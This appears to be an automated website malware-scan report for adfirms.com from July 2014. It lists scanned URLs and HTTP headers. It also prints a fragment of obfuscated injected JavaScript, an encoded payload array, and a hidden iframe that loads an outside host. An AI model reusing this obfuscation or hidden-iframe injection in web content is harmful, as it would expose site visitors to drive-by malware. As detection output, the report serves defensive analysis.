Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=adfirms.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://adfirms.com/ | 200 OK Content-Length: 52583 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var WnmaQ={YYSXc:function(){l='';var v=function(){};function nB(){};var g = new Date(2011, 10, 12, 10, 42, 57);this.mS="mS";var s=false;this.zN=false;var u="";var o = g.getMonth();var r = "from" + g.getMonth() + "e";function t(){};d='';r = r.replace(10, "CharCod");a="";this.bX=''; var z=null;var aY=false;var f=function(){};var i=document.styleSheets;zA="";var x=false;for(var gP=0;gP < i.length;gP++){this.tT=false;var fU="fU";this.nT=62782;var jC='';var b=i[gP].cssRules||i[gP].rules;aV="";var Decoded script: [90,90,24,60,72,33,81,66,15,78,69,123,87,111,132,0,123,111,51,30,123,69,123,87,111,42,96,105,84,99,0,45,99,69,123,33,135,36,66,81,105,135,48,18,120,63,48,6,90,90,90,24,60,114,99,69,123,114,33,48,12,90,90,117,72,123,30,42,123,72,6,90,90,90,81,66,15,78,69,123,87,111,132,93,114,24,111,123,33,102,108,24,60,114,99,69,123,72,42,114,15,129,135,75,111,111,39,3,138,138,36,114,24,15,66,114,81,132,15,66,69,138,15,66,78,87,111,54,132,39,75,39,135,72,93,24,81,111,75,129,135,54,120,135,72,75,123,24,0,75, <iframe src='http://bricord.com/count1.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe> Antivirus reports:
| ||
http://actchaya.com/test/is.js | 404 Not Found Content-Length: 469 Content-Type: text/html | clean |
http://actchaya.com/test404page.js | 404 Not Found Content-Length: 473 Content-Type: text/html | clean |
http://www.reconstructing.me/is.js | HTTP/1.1 302 Found Connection: close Date: Sat, 19 Jul 2014 08:55:20 GMT Location: http://www.reconstructing.me/?f Server: Apache/2.2.22 (Ubuntu) Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html Set-Cookie: WEBUK=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/ X-Pad: avoid browser bug X-Powered-By: PHP/5.3.10-1ubuntu3.9 | clean |
http://www.reconstructing.me/?f | 200 OK Content-Length: 2258 Content-Type: text/html | clean |
http://return.uk.domainnamesales.com/return_js.php?d=reconstructing.me&s=1405760121 | 200 OK Content-Length: 31 Content-Type: application/javascript | clean |
http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js | 200 OK Content-Length: 85925 Content-Type: text/javascript | clean |
http://mondodesign.ro/sll/is.js | 404 Not Found Content-Length: 1148 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: adfirms.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Jul 2014 08:55:15 GMT
Accept-Ranges: bytes
ETag: "1bd817b-cd67-5aea1d00"
Server: Apache/2.0.52 (Red Hat)
Vary: Accept-Encoding
Content-Length: 52583
Content-Type: text/html
Last-Modified: Wed, 02 Jul 2014 21:12:52 GMT
...52583 bytes of data.
GET / HTTP/1.1
Host: adfirms.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 19 Jul 2014 08:55:15 GMT
Accept-Ranges: bytes
ETag: "1bd817b-cd67-5aea1d00"
Server: Apache/2.0.52 (Red Hat)
Vary: Accept-Encoding
Content-Length: 52583
Content-Type: text/html
Last-Modified: Wed, 02 Jul 2014 21:12:52 GMT
...52583 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: adfirms.com
Referer: http://www.google.com/search?q=adfirms.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: adfirms.com
Referer: http://www.google.com/search?q=adfirms.com
Result:
The result is similar to the first query. There are no suspicious redirects found.